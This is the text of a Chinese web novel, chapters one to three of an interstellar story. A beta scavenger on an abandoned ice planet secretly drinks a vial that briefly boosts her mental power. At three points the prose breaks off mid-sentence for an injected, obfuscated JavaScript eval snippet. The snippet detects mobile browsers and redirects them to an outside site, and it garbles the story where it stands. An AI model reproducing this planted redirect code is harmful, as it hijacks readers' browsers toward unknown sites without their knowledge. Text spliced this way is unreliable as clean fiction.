《当一个废物决定征服天下[星际]》 1. 第一章 江应余回到营地的时候,双手仍止不住颤抖,但这并非出自气候的严寒。 宽厚的大衣披在身上,衬得身形有些瘦小。 大半张脸被掩盖在竖得高高的衣领下,隐隐能辨认出防毒面具的轮廓。 夹杂着雪粒的寒风刮得头发肆乱飞舞,狂风下的每一步都迈得很艰难,她深吸一口气,试图让急促的心跳平静下来。 这里是边远星区中一颗被帝国遗弃的星球,编号D-309,原名万里寒,曾因终年不化的积雪而闻名,后来发生了一场爆炸事故——据悉是由联邦间谍恶意引发,致使万里寒的气候产生巨大变化,寒潮加剧且终年不见阳光,毒雾弥漫,地表植被急速萎缩,经帝国科研中心鉴定已不再适合人类生存,因而被遗弃至今。 江应余之所以会出现在这里,则是因为在她穷困潦倒一筹莫展之际遇上了一位好心的拾荒队首领,这支拾荒队还算小有名气,此前接到了一笔来自军方的订单,正准备前往D-309星协助军方清理十五年前遗留下来的残损器械与物资,而在应邀加入这支拾荒队后江应余便跟着他们一同来到了这里。 虽然D-309星的气候实在恶劣,拾荒工作的开展也因此难上加难,但拾荒队的成员大多都很友善,特别是来自联邦的莉莉可。 是莉莉可手把手地教会江应余使用探测仪与铲雪机,也是莉莉可在江应余对着说明书犯难时主动帮她安装帐篷,甚至在江应余尚不能接受以过期营养液与发霉面包充饥的时候,仍是莉莉可利用有限的食材亲手为她烹制菜肴。 在莉莉可的感化与帮助下,原本因人生跌入谷底而郁闷低落的江应余迅速适应了苦寒的天气与贫瘠的拾荒生活。 与身世凄苦的拾荒队成员们不同,江应余是个在帝国首都星长大的beta,曾通过自己的努力以特招生的身份考上了一所数一数二的高中,与不少大人物的子女做过同学,后来在大学里学的专业是机甲维修——该专业堪称beta的铁饭碗。 皆因目前帝国与联邦的形势依旧严峻,加之虫族入侵不断,作为目前最顶尖的作战器械,机甲的损耗量极大,帝国五大军团急需相关专业的人才,所以对广大beta而言,自然没什么专业能比机甲维修更好找工作薪水更稳定了。 可又有谁能想到,曾经前途一片光明的优等生江应余竟会跌入谷底,落魄到不得不寻求拾荒队收留的地步,学习如何在一颗废弃星球上捡垃圾。 过去的野心勃勃与豪言壮志,在此刻看来更像是年少轻狂时闹出来的几出笑话。 但这段苦日子就快结束了。 江应余不禁伸手去触碰别在腰间的那管试剂,在厚重大衣的遮挡下基本上看不见它的存在。 当她的指尖贴上冰冷的管壁,仍会克制不住地颤抖。 可她的体温分明是冷的,试管里的液体也早已冻结,江应余却好似生出了错觉——手里的试管是滚烫的,连带着握住试管的整条手臂都是温暖的。 仿佛只要这样握住它,就能获得无穷的力量。 江应余隔着防毒面具用力拍了拍脸颊,强迫自己冷静下来。 越是处在这种关键时刻就越是需要缜密地思考。 机遇往往伴随着危机,这颗废弃星球能够吸引军方来此,或许与这管试剂脱不了关系。 根据军方的要求,拾荒队需从爆炸事故造成的天坑中铲除积雪、打捞残余器械,不论打捞上何物都不允许私自处理,必须立即上交军方。 但驻扎在D-309星的军队并没有监视他们的一举一动,似是一点都不担心拾荒队的人会私藏贵重物品,给出的条件也十分优渥,每个月会准时配送一定数量的生活物资,莉莉可使用的烹饪食材就来自其中,虽然种类不多,以白菜为主,但总比每天喝过期营养液要好不少。 以上种种与江应余印象里帝国军队的作风完全不同,实在古怪得很。 更何况这支军队隶属于第三军团,第三军团在民间被称为“皇帝的暗刃”,江应余可不觉得这群人会有做慈善的好心肠。 江应余拉紧大衣,将试管遮得严严实实。 不管军队的目的究竟是什么,眼下都不能暴露这管试剂的存在。至少,在她弄清楚它的具体效用,并想出从军队控制中脱身的稳妥办法之前,都不可以将任何人卷进来。 江应余沿着隧道一路向下,走进拾荒队扎营的防空洞内,径直朝厨房的方向走去。 她将发颤的双手揣进大衣外侧的口袋里,以免让人察觉自己的异状。 推开门,熟悉的饭香扑鼻而来,系着围裙的莉莉可正忙着煮菜,金黄的头发乱糟糟地披散在身后,看起来已经很久没有打理过了。 视线挪向另一头,高贵优雅的alpha小少爷懒散地靠着椅背,双腿交叠搭在餐桌上,握着江应余的智网终端打游戏,正玩得津津有味,根本没发现终端的主人已经归来。 看见贺平淮这副样子江应余实在是气不打一处来。 她快步走到他身侧站定,语气冷硬至极,硬邦邦地吐出四个字:“终端还我。” 小少爷习惯性地无视这句话,手上的操作依旧连贯丝滑,还没等他说点什么,做饭的莉莉可倒是被吓了一跳。 她二话不说扔下锅铲朝这边跑来,生怕这两人又像之前一样吵起来。 出于对alpha的畏惧,细小的身板只敢站在江应余身后,小心翼翼地揪住她大衣的一角,声音里夹杂着一丝惶恐,恳求道:“姐姐可不可以不要吵架。” 大衣被揪住后,江应余一时也顾不上同贺平淮计较终端的事,为避免试管被人发现,她连忙护住大衣转过身,朝莉莉可挤出一个笑容,态度转变得极为迅速: “保证绝不吵架,你放心吧。” 听见这温柔的语气,沉迷于游戏的小少爷终于舍得将目光从终端上移开,略过江应余落在了莉莉可身上,脸上没什么情绪,却莫名显得高高在上。 即使他一言不发,无形的压力也在悄声蔓延。 莉莉可不敢与他对视,连忙将脑袋缩了回去,连张牙舞爪的头发丝都被江应余挡得严严实实。 拾荒队的成员全都是beta,每个beta都有属于自己的悲惨遭遇。 莉莉可在很小的时候就被人贩子从联邦拐来了帝国,那时候看管她的人正巧是个alpha,动辄便对小beta们又打又骂。与那些娇贵的omega不同,不论beta被卖到哪里,都得靠出卖苦力为生,但要是遇上了个好说话的主人,日子也能好过许多。 而莉莉可偏偏是最倒霉的那个,几番辗转下,莉莉可的主人换了一个又一个,每一个都是喜欢折磨beta取乐的性格恶劣的alpha,不过短短几年下来,莉莉可被折腾得形销骨立不成人形。 好在最后一任主人家里破了产,莉莉可拼命地逃了出来,她根本不敢停下脚步,即使身后一个人也没有,alpha带给她的阴影却如影随形,不论她逃到哪里,噩梦都会在夜深人静的时候找上她,莫大的恐惧无时无刻不在笼罩着她,不给她半点喘息的机会,而她只能不停地向前奔跑,却又不知该跑向何处。 直到她因为感染上瘟疫而被人丢进废弃的填埋场,在那里遇见了带领拾荒队捡拾机械零件的彭姨—— 莉莉可才终于有了家。 贺平淮是江应余一周前捡回来的alpha。 莉莉可根本不敢拿正眼看他,她也无法像江应余姐姐那样与alpha激烈争吵,因为在alpha面前,她连话都说不出来,只会点头和摇头。 拾荒队的首领彭姨经常告诫其他人要离贺平淮远一点,说离这种非富即贵的alpha太近只会惹祸上身。可每当谈及江应余的时候,她总要长长叹出一口气,说那是个迟早会有大出息的孩子。 莉莉可不知道什么是有大出息,但江应余的确是莉莉可此生从未见过的beta,虽然在最开始加入拾荒队的那段日子里,江应余什么都不会什么都不懂,可是莉莉可从未见过她对谁唯唯诺诺,即便看上去有些颓丧,她也好像什么都不怕,什么惊世骇俗的话都敢说。 她不常提起过去的事,就算有人好奇打听,她也能轻而易举地糊弄过去。 “听说你在首都长大?” 她说:“是的,给别人当牛做马。” “你谈吐不俗,应该受过良好的教育吧?” 她说:“死读书罢了。” “你大学念的什么专业?” 她说:“干一辈子也没alpha赚得多的专业。” 凭借以上短短几句对话,江应余一举成为拾荒队里最神秘的beta。 江应余本人自然知晓拾荒队的成员对自己多少有点误会,仅凭三言两语又实在解释不清。 但比起这个,江应余最后悔的事莫过于捡回来一个alpha。 自从遇上贺平淮之后,江应余深深怀疑是否每个alpha生来就知道该如何使唤别人。 如果上天愿意给她第二次机会,她绝不会为了多一个帮手让自己少干点苦力活而辛辛苦苦地将alpha小少爷从雪地里拖回来。 毕竟,拖回来的哪里是个帮手,根本就是个祖宗。 alpha小少爷简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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或许是在传统的刻板印象里,alpha代表着强大勇武的形象,象征着人类进化史上的巅峰,永远都不会像没用的beta与柔弱的omega一样展露脆弱又狼狈的一面——譬如被自己亲姐姐刺瞎一只眼睛后性情大变因而在学校里备受排挤,又譬如被绑架后与歹徒殊死搏斗逃出生天但因为长时间未进食而晕倒在雪地里不省人事。 结合以上两种特殊情况来看,从某种意义上而言,江应余也很无辜。 但事情已经发展到了这个地步,不论责任在谁,江应余亲手拖回营地的麻烦理应由江应余亲手解决。 她不该让贺平淮继续影响拾荒队队员们的生活,特别是莉莉可。 表盘上的时针已指向七点,算起来快到大部队返回营地的时候了。 江应余费了一番功夫才安抚好莉莉可紧绷的情绪。 三人和平地吃完这顿简单的晚饭,莉莉可肉眼可见地开心了不少,鲜绿的眼睛里荡漾着喜悦的余波,在向江应余挥手告别后,厨房里只剩下江应余与贺平淮二人。 贺平淮今天似乎在跟她赌气,整顿饭下来一声不吭,现在又沉浸在新一局游戏中,仿佛打定主意不会同江应余说一句话。 待莉莉可走远,确定厨房的声音不会被她听见后,江应余转眼就将自己立下的承诺抛在脑后—— 两人中间隔着一张破旧简陋的餐桌,一人坐着一人站着,正对彼此。 江应余俯视着拒绝交流的小少爷,面容冷肃,不见丝毫面对莉莉可时的温和亲切。 “这是我的智网终端。” 这是第一句话。 接着,她伸出一只手,不紧不慢地在尊贵的alpha小少爷面前摊开,悬在半空中,说出第二句话: “alpha,我数到三,把它还给我。” 气势很足,压迫感很强。 这正是江应余想要达到的效果。 她早在心里预先设想过贺平淮所能作出的全部反应,即使继续被他无视也没关系。 因为她此时此刻只想找借口把这个比自己小四岁的alpha小屁孩暴揍一顿。 接下来的日子里他必须给她老老实实地喝过期营养液,夜里滚回自己的帐篷睡觉,以及别想再碰她的智网终端一根手指头。 错误必须被纠正,就算使用暴力也无妨。 这就是曾经的优等生江应余的人生信条。 可江应余还是太天真了。 不同于她这种经历过大起大落的beta,二十岁的alpha小少爷根本就没有接受过社会的毒打。 只见他慢吞吞地从游戏里抬起头,看向江应余的目光饱含着不满,甚至隐含一丝哀怨。 他理直气壮又慢条斯理地说: “首先,我不叫alpha。” 2. 第二章 如果我有金苹果 一则简短有力的声明。 必须承认的是,这的确在江应余意料之外。 但没关系,身为曾经的优等生,她很清楚不论题干如何千变万化,解决问题的方法永远不离其宗。 江应余冷笑一声。 二人视线相交。 她拉开椅子坐在贺平淮对面,与贺平淮斗嘴之余甚至不忘小心护住怀里的试管。 “那我倒想问问你,”江应余面上满是嘲讽: “你还记得每天给你做饭吃的beta叫什么名字吗?” 此言一出,厨房内只听得一片寂静无声。 谁都没有说话。 江应余脸上讽刺依旧。 情绪不断在内里翻涌,她终是没能忍住出言讥讽: “你凭什么可以心安理得地要求别人给你做饭?就凭你是个alpha?” 小少爷的表情白里透红、红里透黑,比调色盘还要精彩。 此前的嚣张气焰早已消失不见。 江应余常常将贺平淮直接称呼为alpha,心情好的时候会戏称他一声小少爷。 拾荒队的大多数成员都没把这称呼当真,毕竟哪里会有少爷闲得没事干跑到D-309星这种鬼地方来。 再加上贺平淮从未主动提及自己的家世,故而整个拾荒队中只有江应余知道,贺平淮是位真正出身名门望族的显贵少爷。 首都星的贺家有两个孩子,都是alpha。 在江应余最争气的那段日子里,有幸与尊贵显赫的贺大公子做过一学期的同桌。 不得不说,那实在不是一段美好的回忆。 贺大公子的性格与贺小少爷大相径庭,严肃认真,细致沉稳,无论是生活作风还是待人接物都挑不出半点瑕疵,是个符合贵族培养方针各项标准的完美继承人。 因有“珠玉”在前,江应余起初完全不敢相信贺大公子的弟弟会是一个性格阴郁且我行我素的小屁孩,但两人相似的五官,尤其是那双相似的眼睛,让江应余不得不接受豪门公子之间的参差。 不过,话又说回来,虽然性格有异,但两人那副世家公子的做派简直如出一辙。 就像狗改不了那啥一样,公子少爷们也改不了目中无人。 对他们来说,一个平平无奇的beta的名字,根本不值得去记住。 可是,世界上百分之八十以上的人口正是由这样平平无奇的beta组成。 beta们勤勤恳恳兢兢业业,干着平平无奇的工作,领着平平无奇的薪水。 只为了能在高贵的alpha老爷们手底下讨得一点喘息的余地。 江应余闭了下眼睛。 不太愉快的回忆蜂拥而至,她想要甩开它们,下意识地握住了那管藏在大衣下面的试剂。 ——这是她唯一的希望。 原本已经抑制下来的颤抖再次被唤起。 江应余甚至不确定颤抖的部位是否已从手部蔓延至全身。 她只知道,在天寒地冻的D-309星,眼前所见皆是冻土,皆是荒芜,唯有这根试管是滚烫的,是生机勃勃的。 这是足以改变命运的东西,这是能够实现理想的金苹果。 意识到在贺平淮身上浪费了太多时间,江应余心中有几分后悔。 她维持着一贯的冷脸,从桌椅旁站起身,打算在防空洞内找个空置的房间去研究一下手里的药剂。 见江应余起身朝门口走去,贺平淮终于从无尽的难堪中回过神来,立刻抬手拦住她的去路: “慢着,你听我解释!” 江应余朝他瞥去一眼,语气是十足的不耐烦: “我跟你没什么好说的。” “这件事不能全怪我!”在江应余的耐心耗尽之前,贺平淮急忙说出后半截话:“根本就没有人向我介绍过她的名字,在这个营地里除了你根本就没有人愿意和我说话!” alpha小少爷语速飞快地说完,漂亮的脸因为误会而涨得通红,连雪白的脖子与耳后根都染成一片红色,他微微喘着气,一双眼睛水汪汪地看向她,里头饱含着无法言明的委屈。 他说的倒是没错。不过与其说拾荒队里没人愿意和他说话,不如说是他自己冷着张脸不给任何人好脸色,谁敢来触这个霉头? 江应余这才发现,这位原本应当光鲜亮丽,如玻璃橱窗里最精致的娃娃一样的alpha小少爷过得并没有她想象中那般舒心。 他身上的衣物由上好的材料手工缝制而成,量身定制,是当下最流行的款式,在遭受绑架并流落到D-309星后,就出现了多处破损,再后来不仅被江应余粗暴地拖回营地,又没有等价的衣物供他更换,导致他现下看上去脏兮兮的,狼狈得很。 “那么,”凭借着仅剩的那点良心,江应余问道:“你之前不是通过我的终端联系了家里人吗?已经过去一周时间了,他们什么时候来接你?” 贺平淮愣了一下,算算时间,那些人的确快到了。 从首都星出发到达D-309星原本用不了这么长的时间,能拖这么久是因为中途遇上了意外。 “无主之地最近不知发生了什么,接连爆发了好几次武装暴动,帝国周边的航线因此受到了不小的影响,我哥只好让他的副官绕远路过来接我,没想到走到半路还是出了点乱子,再加上D-309星的位置本就偏僻,所以耽误了不少时间。” “不过按照副官汇报的进度来看,她要不了几天就能抵达这里。”说完,他抬头朝江应余看了一眼,似乎在观察她的表情。 遗憾的是,他没能在江应余脸上找出任何表情。 贺平淮咬咬牙,不死心地问: “你不想和我一起走吗?” 乍然听见这个问题,江应余有点惊讶。 还没等她回答,贺平淮又继续劝说道:“虽然你性格恶劣,可毕竟是你救我在先,我也不是什么小心眼的人,自然会好好报答你的。” 他耐心等了片刻,江应余还是没给出什么回应。 心中有些许不安,也不知出于什么心理,贺平淮仍没有放弃: “更何况,你看上去与这些拾荒者很明显不是一类人,虽不清楚你为什么会沦落到这个地步,但比起继续留在这里捡垃圾,跟我一起离开显然才能帮助你实现心中的——” “够了。” 话尚未说完,就被江应余出声打断。 她并没有动怒,面容上只有如水一般的平静。 贺平淮下意识不想听她接下来要说的话。 “你错了,我与其他拾荒者没什么不同,我与他们从来都是一类人。” 江应余笔直地看向贺平淮的眼睛,漆黑的眸子暗淡无光,仿佛有层层阴霾环绕。 “我没有什么跌宕起伏的悲惨往事,落到这个地步是我咎由自取,怪我高估了自己的能力。” “但这也没什么不好,至少让我看清了自己从来都只是一个普通的beta。” “就算和你一起离开D-309星,就算接受你的报答,也改变不了这个事实,最多不过是让我回到当初的位置,然后再一次跌入低谷。” “还请你不要误会,我没有什么大志向,我只是习惯了曾经的优等生身份带给自己的错觉而已。” 这是江应余离开前留下的最后一句话。 贺平淮在原地呆坐半晌,过了许久才彻底消化江应余所说的话。 他完全没想过这个提议会被她如此干脆地否决。 当初为了把奄奄一息的他活着带回营地,江应余将自己的防毒面具和大衣都分给了他。 也因此差点把自己的性命都搭进去。 在那场漫长的求生之旅中,江应余说的每句话他都记得。 她的眼神,她的笑容,他全都记得。 可当他们回到营地后,尤其是当她发现他是个alpha后,那些独属于他的优待就全都消失了。 明明他们二人才是同类。 只有他拥有与她相似的不甘与憎恨。 也只有他能理解她永不屈服的灵魂。 他不明白,她为什么要拒绝他的提议? 贺平淮低头看向怀中的智网终端,这才想起来自己忘了将它还给她。 可江应余已经走远,他又不知道她去了哪里。 好不容易甩开alpha小少爷,江应余立刻在防空洞内找了间空置的屋子躲进去。 屋子里什么都没有,除了几排空置的架子,这里以前应该是一间储物室。 因长久无人使用,地上积了厚厚的一层灰尘。电路也彻底损坏,里头黑漆漆一片,只能用自带的手电筒照明。 江应余挑了个靠角落的位置直接坐下来,靠在木架上,从怀里掏出那根试管。 试管里的液体呈现金黄的色泽,因严寒气候而冻结。 管壁外侧贴着长长一串的编号,现已无从辨认。 余下的试剂只占试管的五分之一,曾被使用过不少。 江应余无从判断这是从多少年前剩下来的,即使试剂过期影响实际效果也没关系,只希望它不要变质。 前几天,在划分给江应余负责的区域内,她偶然发现了一处被积雪掩埋的小型防空洞,距离拾荒队扎营的防空洞十分遥远,且面积仅有十分之一。 花了不少时间铲除积雪后,她在里面找到了这管试剂,存放试剂的柜子底下还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453325|169519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一本被扔在地上的日记。 在简单翻阅日记的内容后,她毫不犹豫地带着防空洞内仅剩的两样东西离开了。 日记被塞进了衣服的夹层里。 江应余将它小心翼翼地取出来,在面前摊开。 日记主人的笔迹略显稚嫩,写下这本日记时应该不超过十六岁。 前半部分的内容记载了日记主人与家人以及朋友之间的点点滴滴,字里行间满是喜悦与温馨,但江应余不是个有耐心的人,对别人的幸福生活更是没什么兴趣。 迅速翻页至后半部分,日记的风格骤然发生了变化——D-309星的爆炸事故发生了。 日记主人因此家破人亡,而这场爆炸不仅摧毁了她的家庭,连带着她生长的故乡万里寒,以及那些从爆炸中幸存的居民们,都被帝国当作垃圾一般被彻底遗弃。 寒潮席卷,毒雾弥漫,不见阳光,电力系统报废。 而人们在漫长的等待里没有得到帝国的救援,压抑的氛围终于在某一日爆发,曾经的秩序荡然无存,人们争相抢夺仅剩的物资,甚至不乏有人试图闯入军事基地驾驶军舰离开,万里寒自此陷入无尽的混乱之中。 日记主人与她仅剩的朋友只能躲在防空洞里相依为命,两人都是未成年的女性beta,但她朋友的身手不错,总有办法从外面偷点吃的回来。 直到有一日,她的朋友偷来了一管试剂。 ‘这是我在一处实验基地找到的,里面的东西被砸了个一干二净,但我在角落里找到了仅剩的这个。’ ‘这玩意儿不知道叫什么名字,也不知道有什么用,但拿它唬外面的人换点吃的应该绰绰有余。’ 可日记主人趁朋友离开后,偷偷将试剂倒进了嘴里。 她只是好奇那些白衣人研制出来的东西究竟是什么。 好在她足够惜命,只敢喝下一小口。 然而,试剂的效果远远超出了她的想象。 或者说,这根本是一管足以改变beta命运的试剂。 众所周知,对帝国虎视眈眈的联邦在三十年前率先研发出了传说中的意念机甲,相较于对身体素质、精神力等各方面都有极高要求的传感机甲而言,意念机甲只要求精神力达到S级即可驾驶,它不仅在作战性能上全方位超越了传统的传感机甲,甚至支持远程驾驶以及多台机甲同步驾驶。 这意味着,只要精神力能够达到S级,就算是beta,是omega,也能拥有驾驶机甲的能力,并且战斗力远超传感机甲一大截。 从理论上而言,过去只能由alpha驾驶机甲的局面将被彻底打破。 可遗憾的是,三十多年过去了,放眼整片星际宇宙,唯有帝国第五军团的团长沈鹤棠的精神力达到S级。 除她以外,竟没有一个人能够驾驶意念机甲。 而沈鹤棠少将也是一名alpha——由beta与omega驾驶机甲的可能性依旧微乎其微。 至少在单兵作战领域,alpha仍然具备绝对的统治力。 自沈鹤棠崛起后,江应余听说过无数来源不明的传闻——都与秘密研发提升精神力的药物相关。 原本她以为这些都是假的。 毕竟精神力是生来就已注定。 从古至今,没有任何人有能力改变自身的精神力。 然而日记中记载的内容彻底颠覆了江应余的认知—— ‘我背着季临喝下了这管试剂,我必须得知道我的家人究竟是因为什么而死,虽然对它早有很多离谱的猜测,但结果还是令我大吃一惊。’ ‘它竟然可以增强一个人的精神力,虽然持续了不到十分钟,甚至伴随着剧烈的头痛,副作用显著,但对于beta们来说……’ 后面整整一页纸都被人故意涂抹上黑色,无从辨认。 ‘我决定将这种试剂命名为金苹果。’ ‘迟早有一天,我会研发出比现在效果更好副作用更小的试剂,而它也将成为我计划中最重要的一环。’ 最后的几行字迹极为凌乱,即使借助手电筒的亮光江应余也读得很艰难。 ‘由beta驾驶机甲、由beta组成军队的展望不再是个遥不可及的设想。’ ‘在alpha的强权之下,总有beta会萌生出驾驶机甲的渴望。’ ‘毕竟,不是所有的beta都甘愿当一辈子的机甲维修师。’ 短短几行话轻易便触动到了江应余的内心深处,令她久久无法回神。 她仿佛亲眼见证了一部伟大史诗的开篇之作。 而史诗的作者早在日记扉页留下了署名,是端正整齐的三个大字—— 魏循章。 3. 第三章 金苹果好苦好难喝 D-309星,原名万里寒。那场由联邦间谍引发的恶性爆炸事故发生于十五年前。 按理来说,十五年的时间足够改变很多东西。 既然这本日记来自十五年前,既然这根试管来自十五年前。 那十五年后的江应余又为何没能听说任何有关于金苹果的传闻? 为何beta仍旧只能成为机甲维修师? 为何这个世界仍旧没有发生一分一毫的改变? 回想起被遗留在防空洞内的试管,以及被随意扔在地上的日记。 江应余的头脑里产生了一个不那么美好的设想。 或许,只是或许。 这位名为魏循章的beta女孩,终究没能在那场旷日持久的浩劫中活下来。 她与她的理想都被掩埋在了深雪之下。 命运犹如一座蛮不讲理的大山,沉重地压在每一个beta的肩上,让他们无法反抗。 江应余长出一口气。 她沉默地合上日记本。 取出事先在厨房准备好的温水,拔出堵塞试管口的软木塞,将试管浸入水中。 等待的时间不比想象中漫长。 在江应余发呆的时间里,金色的液体已经在试管内重新流动,仿佛恢复了昔日的活力。 江应余拿起试管,放在鼻子下面好奇地嗅了嗅,没有任何气味。 紧接着,没有任何预兆地,只见她毫不犹豫甚至近乎决绝地将它倒进了嘴里。 她不计后果地喝掉了试管内一半的液体。 金苹果是苦的,她从没喝过这么苦的东西,比过期的营养液还要难喝一百倍。 强忍着反胃的冲动将它咽进去,温热且苦涩的液体顺着喉管向下,钻入五脏六腑。 起初,江应余没有产生什么特别的感受,只觉得全身很温暖,驱散了体内的寒意。 过了片刻,就在江应余疑心试剂是否失效的时候,头颅内突兀地传来了一阵剧烈的疼痛,恍若有刀子在脑子里不停搅动,疼得她想在地上抱着脑袋打滚,随之而来的是尖锐的耳鸣,吵得她几乎听不清任何声音。 好像有液体从鼻端流下,但她已经无力顾及。 此时的江应余陷入了一种奇异的状态中。 自己仿佛被切割成两半,一半正在饱受极端痛苦的煎熬,另一半则摆脱了□□的束缚,凌驾于物质世界之上。 她好似生出了另一双眼睛,一双能够穿透黑暗,突破人类生理的极限,看见所有事物的眼睛。 她以一种俯视的视角看见自己因疼痛而跪倒在地,却无法与另一半的自我感同身受,漠然地将视线上移,然后便看见了佝偻着背在巨大坑洞中打捞废弃物的拾荒队队员们,可她身处理性的王国,已然目空一切,不为任何事物所动,继续上移,看见的是残破凋敝的D-309星,继续上移,世间一切事物都能尽收眼底,索然无味地继续上移,百无聊赖地继续上移,上移、上移、上移——直到她看见了璀璨浩渺的银河,理性的王国便轰然倒塌。 江应余永远都无法忘记自己所看到的这副景象。 星海浩瀚无际,宇宙深邃无垠。 有无数恒星汇聚成团,如涡旋般静默流转,亘古未变。 涡旋的中心璀璨如芒,隽美的光辉向四周逸散,细长的光带似一只半垂的眼,跨越亿万光年,俯瞰群星。 江应余曾多次在教科书上看见银河系的图片,但没有哪一次能比亲眼所见来得更为震撼。 生长于星际时代的孩子,有谁不曾向往过与万千星辰作伴、在广阔星海中自在遨游? 这是她距离银河最近的一次,仿佛只要抬手就能触及星辰。 她被那只眼睛深深吸引,下意识地想要朝它靠近,就像孩童想要回归母亲的怀抱。 可这一次她没能如愿。 那对带着她翱翔宇宙的“魔法翅膀”仿佛在这一刻倏然断裂。 江应余看见自己正不断地后退、不断地下落。 她想要呼号,想要呐喊,却发不出任何声音。 只能眼睁睁看着星辰远去,看着自己穿过气层,落入茫茫白雪中。 知觉在一瞬间回归。 割裂的两半终于合二为一。 江应余保持着跪趴的姿势,呆愣了半晌,方才的一切就像梦一样,短暂却又无比真实。 头痛仍未减缓,耳鸣依旧,她吃力地撑起上半身,靠着储物架。 抬手抹了把脸,才发现自己早已泪流满面。 “呵。” 她发出一声苦笑。 无需照镜子都能猜到此刻的自己有多么狼狈。 试剂的副作用超出了她的想象,没想到十五年过去,它的效用衰减了不少,反倒是副作用在不断增强,虽然其中多多少少也有江应余用量过多的原因。 但从好的方面来想,她的确亲身体会到了使用精神力感受世界的滋味。 就结果而言,这次以身试药还算有所收获。 不过,她手上这管金苹果还远远达不到大规模投入使用的标准,更别说利用它去建立一支beta军队。 若正如她猜测的那样,名为魏循章的女性beta死在了十五年前,那么现在她就必须带着这管试剂想办法离开这里,也必须找到相关科研人员推进金苹果的研发,只有获得足够安全且可持续使用的金苹果来源,才能有信心将它投入市场,改变所有beta甚至是全人类的命运。 可这条路上处处都是阻碍,处处都是危险。仅凭她一个人的力量,又能做到什么? 一想到困难重重的未来,前所未有的疲惫感就像海水一样翻涌而来,或许是躯体的疼痛引发了心理上的脆弱,压抑在内心深处的自卑与悔恨终于寻到了等候已久的时机,开始疯狂地发酵、生长、蔓延。 要知道,黑暗的房间最适合阴暗的情绪滋生。 疼痛正侵吞她的理智,疲倦正啃食她的斗志。 理所当然的,自我怀疑的声音被无限放大。 于是,她问自己—— 一个一无所有的拾荒者,一个一败涂地的废物,究竟是哪来的自信,哪来的余力,让她觉得自己有能力去帮助其他人? 脑海里一片混乱,江应余脱力般地闭上眼睛,现状令她倍感无望。 在无尽的疲惫与嘲讽将自己压垮之前,她习惯性地想起了三殿下演讲时所说的话。 在三殿下死后,江应余无数次强迫自己不再去回想与她有关的任何话语,可记忆的洪流一旦打开了闸门,便汹涌得一发不可收拾——记忆里三殿下的声音还是那么的清晰,还是那么温柔而铿锵有力。 她说,我也只是个普通的beta,就像我的万千子民一样。 我也曾失败过无数次,眼看着胜利与我擦肩而过。 我也曾无比嫉妒alpha与omega,嫉妒他们生来就能享有无尽的偏爱与美誉。 我甚至曾恨自己为什么是个没用的beta,恨自己为什么无论怎么努力都无法超越天才偶现的灵光。 可是沉湎于过去的失败、嫉妒、憎恨之中对我毫无益处,我还是那个普通的beta。 在这个歌颂伟大、歌颂天才、歌颂alpha的时代里。 我必须拼命站起来,站在万众瞩目的高台上。 我以自己向全世界证明不是所有beta生来就得低人一等。 我要让所有的人、所有的beta都看见—— 在这个世上,就算是最渺小、最平凡的beta,也能拥有另一种活法! 江应余听见自己的心脏正随着记忆里三殿下的话语而鼓动。 无视身体的虚脱与疼痛,她咬牙从地上站起来,脚步虚浮地走向储物室门口。 眼前尽是一片虚影,金苹果的副作用仍未消退。 可她想要回到帐篷里。 在她的枕头底下,放着她亲手收录的三殿下语录集。 她就想再看它一眼。 仿佛只要看见它,三殿下就没有死去,她的理想也没有死去。 属于beta的时代还没有结束,三殿下仍旧是所有beta的太阳。 三殿下绝不是什么帝国之耻! 她绝不会背叛帝国! 就在这时,眼花的江应余不知被什么东西绊倒,汹涌的思绪在她倒地的那一刻戛然而止。 她还是低估了过期金苹果的副作用,或许也高估了自己身体的承受能力。 她彻底晕了过去。 浸润了不甘与悔恨的泪水从她的眼角滑落。 为她死去的理想画上了句号。 属于beta的时代实在太短暂了。 或者说,属于beta的时代根本从没来过。 厨房内,贺平淮想了又想,还是决定将智网终端还给江应余,并向她好好道歉。 看得出来,江应余十分爱惜自己的终端。 虽然其型号是十年前的一款,但是被保养得非常好。 很多时候,他并不是故意想惹江应余生气。 他只是不明白,明明他与她才是一类人,为何她偏要故意疏远他、冷落他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453326|169519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不论她如何掩饰如何否认,都无法改变自己的谈吐与习惯。 她甚至没有发现,绝大多数拾荒者都不敢在交流中与她对视。 除了她以外,拾荒队所有成员都默认她不属于这里。他们知道,她早晚有一天会离开拾荒队,去往更广阔的世界。 因为她所接受的教育在她身上留下了无法更改的烙印,而这种烙印无从作伪。 也因为她的眼神不同于贺平淮此生见过的绝大多数人,不论是alpha,beta,还是omega。 贺平淮不知该如何描绘这种眼神,如同他也不知该如何形容江应余这个人。 但同样的眼神,除却江应余,他只在另一个人身上见过。 那时候他年纪太小,只敢跟在哥哥身后远远望她一眼。 ——那是第四军团的团长,帝国的三殿下,beta的太阳,赵显。 然而,世事难料,如今赵显已经死了,死得轰轰烈烈。 